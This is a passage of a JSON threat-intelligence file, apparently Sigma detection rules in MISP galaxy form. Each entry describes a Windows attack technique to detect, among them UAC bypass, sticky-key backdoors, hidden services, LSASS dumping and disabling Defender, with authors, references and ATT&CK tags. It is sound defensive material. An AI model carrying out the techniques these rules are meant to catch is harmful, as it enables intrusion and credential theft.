          "https://github.com/fortra/impacket/blob/f4b848fa27654ca95bc0f4c73dbba8b9c2c9f30a/examples/wmiexec.py",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_wmiexec_default_powershell.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.lateral_movement"
        ]
      },
      "uuid": "022eaba8-f0bf-4dd9-9217-4604b0bb3bb0",
      "value": "HackTool - Wmiexec Default Powershell Command"
    },
    {
      "description": "Detects potential SquiblyTwo attack technique with possible renamed WMIC via Imphash and OriginalFileName fields",
      "meta": {
        "author": "Markus Neis, Florian Roth",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wmic_squiblytwo_bypass.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://web.archive.org/web/20190209154607/https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html",
          "https://atomicredteam.io/defense-evasion/T1220/",
          "https://lolbas-project.github.io/lolbas/Binaries/Wmic/",
          "https://twitter.com/mattifestation/status/986280382042595328",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1047",
          "attack.t1220",
          "attack.execution",
          "attack.t1059.005",
          "attack.t1059.007"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "ebbe170d-aa74-4946-8511-9921243415a3",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8d63dadf-b91b-4187-87b6-34a1114577ea",
      "value": "Potential SquiblyTwo Technique Execution"
    },
    {
      "description": "Detects a suspicious call to Invoke-WebRequest cmdlet where the and output is located in a suspicious location",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_invoke_webrequest_download.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_invoke_webrequest_download.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5e3cc4d8-3e68-43db-8656-eaaeefdec9cc",
      "value": "Suspicious Invoke-WebRequest Execution"
    },
    {
      "description": "Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)",
      "meta": {
        "author": "Christian Burkard (Nextron Systems)",
        "creation_date": "2021/08/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_uac_bypass_consent_comctl32.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_consent_comctl32.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1ca6bd18-0ba0-44ca-851c-92ed89a61085",
      "value": "UAC Bypass Using Consent and Comctl32 - Process"
    },
    {
      "description": "Detect use of ie4uinit.exe to execute commands from a specially prepared ie4uinit.inf file from a directory other than the usual directories",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/05/07",
        "falsepositive": [
          "ViberPC updater calls this binary with the following commandline \"ie4uinit.exe -ClearIconCache\""
        ],
        "filename": "proc_creation_win_lolbin_ie4uinit.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/",
          "https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ie4uinit.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d3bf399f-b0cf-4250-8bb4-dfc192ab81dc",
      "value": "Ie4uinit Lolbin Use From Invalid Path"
    },
    {
      "description": "Detects command that type the content of ntdll.dll to a different file or a pipe in order to evade AV / EDR detection. As seen being used in the POC NtdllPipe",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_cmd_ntdllpipe_redirect.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://web.archive.org/web/20220306121156/https://www.x86matthew.com/view_post?id=ntdll_pipe",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_ntdllpipe_redirect.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "bbc865e4-7fcd-45a6-8ff1-95ced28ec5b2",
      "value": "NtdllPipe Like Activity Execution"
    },
    {
      "description": "Detects execution of \"reg.exe\" to disable security services such as Windows Defender.",
      "meta": {
        "author": "Florian Roth (Nextron Systems), John Lambert (idea), elhoim",
        "creation_date": "2021/07/14",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_reg_disable_sec_services.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/gordonbay/Windows-On-Reins/blob/e587ac7a0407847865926d575e3c46f68cf7c68d/wor.ps1",
          "https://bidouillesecurity.com/disable-windows-defender-in-powershell/",
          "https://twitter.com/JohnLaTwC/status/1415295021041979392",
          "https://vms.drweb.fr/virus/?i=24144899",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_disable_sec_services.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5e95028c-5229-4214-afae-d653d573d0ec",
      "value": "Security Service Disabled Via Reg.EXE"
    },
    {
      "description": "In Kaspersky's 2020 Incident Response Analyst Report they listed legitimate tool \"Mouse Lock\" as being used for both credential access and collection in security incidents.",
      "meta": {
        "author": "Cian Heasley",
        "creation_date": "2020/08/13",
        "falsepositive": [
          "Legitimate uses of Mouse Lock software"
        ],
        "filename": "proc_creation_win_pua_mouselock_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/klsecservices/Publications/blob/657deb6a6eb6e00669afd40173f425fb49682eaa/Incident-Response-Analyst-Report-2020.pdf",
          "https://sourceforge.net/projects/mouselock/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_mouselock_execution.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.collection",
          "attack.t1056.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "a2029942-0a85-4947-b23c-ca434698171d",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c9192ad9-75e5-43eb-8647-82a0a5b493e3",
      "value": "PUA - Mouse Lock Execution"
    },
    {
      "description": "Detects execution of netsh with the \"advfirewall\" and the \"set\" option in order to set new values for properties of a existing rule",
      "meta": {
        "author": "X__Junior (Nextron Systems)",
        "creation_date": "2023/07/18",
        "falsepositive": [
          "Legitimate administration activity",
          "Software installations and removal"
        ],
        "filename": "proc_creation_win_netsh_fw_set_rule.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://ss64.com/nt/netsh.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_set_rule.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "a70dcb37-3bee-453a-99df-d0c683151be6",
      "value": "Firewall Rule Update Via Netsh.EXE"
    },
    {
      "description": "Detects the export of the target Registry key to a file.",
      "meta": {
        "author": "Oddvar Moe, Sander Wiebing, oscd.community",
        "creation_date": "2020/10/07",
        "falsepositive": [
          "Legitimate export of keys"
        ],
        "filename": "proc_creation_win_regedit_export_keys.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f",
          "https://lolbas-project.github.io/lolbas/Binaries/Regedit/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_keys.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1012"
        ]
      },
      "related": [
        {
          "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f0e53e89-8d22-46ea-9db5-9d4796ee2f8a",
      "value": "Exports Registry Key To a File"
    },
    {
      "description": "Detects weak passwords or often abused passwords (seen used by threat actors) via the CLI. An example would be a threat actor creating a new user via the net command and providing the password inline",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/14",
        "falsepositive": [
          "Legitimate usage of the passwords by users via commandline (should be discouraged)",
          "Other currently unknown false positives"
        ],
        "filename": "proc_creation_win_susp_weak_or_abused_passwords.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments",
          "https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/",
          "https://thedfirreport.com/2022/09/26/bumblebee-round-two/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_weak_or_abused_passwords.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution"
        ]
      },
      "uuid": "91edcfb1-2529-4ac2-9ecc-7617f895c7e4",
      "value": "Weak or Abused Passwords In CLI"
    },
    {
      "description": "By replacing the sticky keys executable with the local admins CMD executable, an attacker is able to access a privileged windows console session without authenticating to the system.\nWhen the sticky keys are \"activated\" the privilleged shell is launched.\n",
      "meta": {
        "author": "Sreeman",
        "creation_date": "2020/02/18",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_cmd_sticky_keys_replace.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/archive/blogs/jonathantrull/detecting-sticky-key-backdoors",
          "https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign-v1.pdf",
          "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_sticky_keys_replace.yml"
        ],
        "tags": [
          "attack.t1546.008",
          "attack.privilege_escalation"
        ]
      },
      "related": [
        {
          "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1070db9a-3e5d-412e-8e7b-7183b616e1b3",
      "value": "Persistence Via Sticky Key Backdoor"
    },
    {
      "description": "Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen",
      "meta": {
        "author": "Florian Roth (Nextron Systems), @twjackomo, Jonhnathan Ribeiro, oscd.community",
        "creation_date": "2018/03/15",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_cmd_sticky_key_like_backdoor_execution.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/archive/blogs/jonathantrull/detecting-sticky-key-backdoors",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_sticky_key_like_backdoor_execution.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.persistence",
          "attack.t1546.008",
          "car.2014-11-003",
          "car.2014-11-008"
        ]
      },
      "related": [
        {
          "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2fdefcb3-dbda-401e-ae23-f0db027628bc",
      "value": "Sticky Key Like Backdoor Execution"
    },
    {
      "description": "Detects WmiPrvSE spawning a process",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g",
        "creation_date": "2019/08/15",
        "falsepositive": [
          "False positives are expected (e.g. in environments where WinRM is used legitimately)"
        ],
        "filename": "proc_creation_win_wmiprvse_spawning_process.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://threathunterplaybook.com/hunts/windows/190815-RemoteServiceInstallation/notebook.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmiprvse_spawning_process.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d21374ff-f574-44a7-9998-4a8c8bf33d7d",
      "value": "WmiPrvSE Spawned A Process"
    },
    {
      "description": "Detects the execution of WMIC with the \"format\" flag to potentially load XSL files.\nAdversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.\nExtensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files.\n",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community, Swachchhanda Shrawan Poudel",
        "creation_date": "2019/10/21",
        "falsepositive": [
          "WMIC.exe FP depend on scripts and administrative methods used in the monitored environment.",
          "Static format arguments - https://petri.com/command-line-wmi-part-3"
        ],
        "filename": "proc_creation_win_wmic_xsl_script_processing.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1220/T1220.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1220"
        ]
      },
      "related": [
        {
          "dest-uuid": "ebbe170d-aa74-4946-8511-9921243415a3",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "05c36dd6-79d6-4a9a-97da-3db20298ab2d",
      "value": "XSL Script Execution Via WMIC.EXE"
    },
    {
      "description": "Detects REGSVR32.exe to execute DLL hosted on remote shares",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/31",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_regsvr32_remote_share.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_remote_share.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.010"
        ]
      },
      "related": [
        {
          "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "88a87a10-384b-4ad7-8871-2f9bf9259ce5",
      "value": "Suspicious Regsvr32 Execution From Remote Share"
    },
    {
      "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/17",
        "falsepositive": [
          "Rare intended use of hidden services"
        ],
        "filename": "proc_creation_win_powershell_hide_services_via_set_service.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/Alh4zr3d/status/1580925761996828672",
          "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_hide_services_via_set_service.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1574.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "17cc750b-e95b-4d7d-9dde-49e0de24148c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "514e4c3a-c77d-4cde-a00f-046425e2301e",
      "value": "Abuse of Service Permissions to Hide Services Via Set-Service"
    },
    {
      "description": "Detects the execution of a renamed version of the Plink binary",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_renamed_plink.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/",
          "https://the.earth.li/~sgtatham/putty/0.58/htmldoc/Chapter7.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_plink.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1c12727d-02bf-45ff-a9f3-d49806a3cf43",
      "value": "Renamed Plink Execution"
    },
    {
      "description": "Detects the use of NPS, a port forwarding and intranet penetration proxy server",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/10/08",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "proc_creation_win_pua_nps.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/ehang-io/nps",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nps.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1090"
        ]
      },
      "related": [
        {
          "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "68d37776-61db-42f5-bf54-27e87072d17e",
      "value": "PUA - NPS Tunneling Tool Execution"
    },
    {
      "description": "Detects a Windows command line executable started from MMC",
      "meta": {
        "author": "Karneades, Swisscom CSIRT",
        "creation_date": "2019/08/05",
        "falsepositive": "No established falsepositives",
        "filename": "proc_creation_win_mmc_susp_child_process.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_susp_child_process.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "05a2ab7e-ce11-4b63-86db-ab32e763e11d",
      "value": "MMC Spawning Windows Shell"
    },
    {
      "description": "Detects suspicious UTF16 and base64 encoded and often obfuscated PowerShell code often used in command lines",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/07/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_encoded_obfusc.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/fcadca91-3580-4ede-aff4-4d2bf809bf99/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_encoded_obfusc.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "8d01b53f-456f-48ee-90f6-bc28e67d4e35",
      "value": "Suspicious Obfuscated PowerShell Code"
    },
    {
      "description": "Detects the creation of a scheduled task using the \"-XML\" flag with a file without the '.xml' extension. This behavior could be indicative of potential defense evasion attempt during persistence",
      "meta": {
        "author": "Swachchhanda Shrawan Poudel, Elastic (idea)",
        "creation_date": "2023/04/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_schtasks_schedule_via_masqueraded_xml_file.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/elastic/protections-artifacts/blob/084067123d3328a823b1c3fdde305b694275c794/behavior/rules/persistence_suspicious_scheduled_task_creation_via_masqueraded_xml_file.toml",
          "https://docs.microsoft.com/en-us/windows/win32/taskschd/daily-trigger-example--xml-",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_schedule_via_masqueraded_xml_file.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.t1036.005",
          "attack.t1053.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "dd2a821e-3b07-4d3b-a9ac-929fe4c6ca0c",
      "value": "Suspicious Scheduled Task Creation via Masqueraded XML File"
    },
    {
      "description": "Detects usage of the \"sc.exe\" utility adding a new service with special permission seen used by threat actors which makes the service hidden and unremovable.",
      "meta": {
        "author": "Andreas Hunkeler (@Karneades)",
        "creation_date": "2021/12/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_sc_sdset_hide_sevices.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/",
          "https://twitter.com/Alh4zr3d/status/1580925761996828672",
          "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html",
          "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_sdset_hide_sevices.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1574.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "17cc750b-e95b-4d7d-9dde-49e0de24148c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a537cfc3-4297-4789-92b5-345bfd845ad0",
      "value": "Service DACL Abuse To Hide Services Via Sc.EXE"
    },
    {
      "description": "Detects a suspicious execution from an uncommon folder",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Tim Shelton",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_execution_path.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/ThreatHuntingProject/ThreatHunting/blob/cb22598bb70651f88e0285abc8d835757d2cb596/hunts/suspicious_process_creation_via_windows_event_logs.md",
          "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
          "https://github.com/mbevilacqua/appcompatprocessor/blob/6c847937c5a836e2ce2fe2b915f213c345a3c389/AppCompatSearch.txt",
          "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036"
        ]
      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3dfd06d2-eaf4-4532-9555-68aca59f57c4",
      "value": "Execution from Suspicious Folder"
    },
    {
      "description": "Detects potential process injection via Microsoft Remote Asssistance (Msra.exe) by looking at suspicious child processes spawned from the aforementioned process. It has been a target used by many threat actors and used for discovery and persistence tactics",
      "meta": {
        "author": "Alexander McDonald",
        "creation_date": "2022/06/24",
        "falsepositive": [
          "Legitimate use of Msra.exe"
        ],
        "filename": "proc_creation_win_msra_process_injection.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.fortinet.com/content/dam/fortinet/assets/analyst-reports/ar-qakbot.pdf",
          "https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msra_process_injection.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1055"
        ]
      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "744a188b-0415-4792-896f-11ddb0588dbc",
      "value": "Potential Process Injection Via Msra.EXE"
    },
    {
      "description": "Detects the presence of the keywords \"lsass\" and \".dmp\" in the commandline, which could indicate a potential attempt to dump or create a dump of the lsass process.\n",
      "meta": {
        "author": "E.M. Anhaus, Tony Lambert, oscd.community, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_susp_lsass_dmp_cli_keywords.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf",
          "https://github.com/CCob/MirrorDump",
          "https://github.com/helpsystems/nanodump",
          "https://github.com/Hackndo/lsassy",
          "https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml",
          "https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lsass_dmp_cli_keywords.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ffa6861c-4461-4f59-8a41-578c39f3f23e",
      "value": "LSASS Dump Keyword In CommandLine"
    },
    {
      "description": "Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)",
      "meta": {
        "author": "Julia Fomina, oscd.community",
        "creation_date": "2020/10/06",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_winrm_awl_bypass.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winrm_awl_bypass.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1216"
        ]
      },
      "related": [
        {
          "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe",
          "tags": [
